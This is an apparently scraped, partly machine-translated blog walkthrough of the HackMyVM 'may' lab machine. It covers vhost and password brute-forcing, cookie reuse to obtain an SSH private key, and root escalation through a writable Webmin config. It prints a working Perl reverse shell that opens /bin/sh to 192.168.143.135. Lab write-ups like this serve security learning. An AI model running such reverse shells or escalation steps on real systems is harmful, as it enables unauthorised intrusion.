当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:59:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,Would jump to domain namemay.hmv访问,这里需添加hosts访问.
Got a user Mingmarie.
Blasting directory failed,于是爆破vhost.
找到两个vhost,portal和ssh.添加hosts后访问portal.may.hmv.This a login page,会验证用户名和密码,After a failed attempt to inject,Using the user name password try blasting obtained from the front.
得到密码rebeldeAnd capturing the successcookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥.
获取user flag
To save the private key,And Settings for the current user to read and write only,ssh登录marie.

获取root flag
查看root用户进程,Found the following process.
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的.


在failed.plAdd the reboundshell代码.
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot).After the restart casuallywebminTo log on to a wrong account can reboundroot.
边栏推荐
- Various ways of AES encryption
- (4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
- SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
- 解决5+APP真机测试无法访问后台(同局域网)
- 13. JS output content and syntax
- (8) requests、os、sys、re、_thread
- kali安装IDEA
- (7) superficial "crawlers" process (concept + practice)
- 3.PHP数据类型、常量、字符串和运算符
- PHP8.2中字符串变量解析的新用法
猜你喜欢

(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy

Phpstudy installs Thinkphp6 (problem + solution)

Phpstudy安装Thinkphp6(问题+解决)

(1)Thinkphp6入门、安装视图、模板渲染、变量赋值

Kali环境下Frida编写脚本智能提示

ES6迭代器解释举例

CTF入门之md5

Pycharm打包项目为exe文件
![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff]一个比较两段文本的历史变化扩展库

ES6介绍+定义变量+不同情况下箭头函数的this指向
随机推荐
IO流、 编码表、 字符流、 字符缓冲流
Pycharm打包项目为exe文件
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
(1)Thinkphp6入门、安装视图、模板渲染、变量赋值
(8) requests, os, sys, re, _thread
(5) 模块与包、编码格式、文件操作、目录操作
Shuriken: 1 vulnhub walkthrough
PHP入门(自学笔记)
百度定位js API
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
[sebastian/diff] A historical change extension library for comparing two texts
(3)Thinkphp6数据库
4.PHP数组与数组排序
14. JS Statements and Comments, Variables and Data Types
[symfony/finder] The best file manipulation library
TypeScript 错误 error TS2469、error TS2731 解决办法
Xiaoyao multi-open emulator ADB driver connection
Praying: 1 vulnhub walkthrough
查询数据库中所有表的索引,并且解析成sql
web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)